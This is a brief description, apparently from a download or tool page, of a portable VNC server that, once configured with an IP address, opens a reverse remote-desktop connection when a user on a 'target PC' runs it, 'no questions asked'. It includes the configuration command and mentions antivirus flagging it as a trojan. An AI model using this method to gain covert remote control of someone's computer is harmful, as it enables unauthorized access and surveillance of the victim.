Custom VNC server
Custom VNC server that does not need to be installed. First, configure it like this:
vncSimple.exe NewExeName.exe 1.2.3.4
Now send NewExeName.exe to the target PC and ask the user to run it. It initiates a VNC callback connection to the IP address you defined above, no questions asked. Be sure you have a listen mode viewer running on that IP address. (or ssh tunnel)
It seems McAfee now considers this program as a trojan.
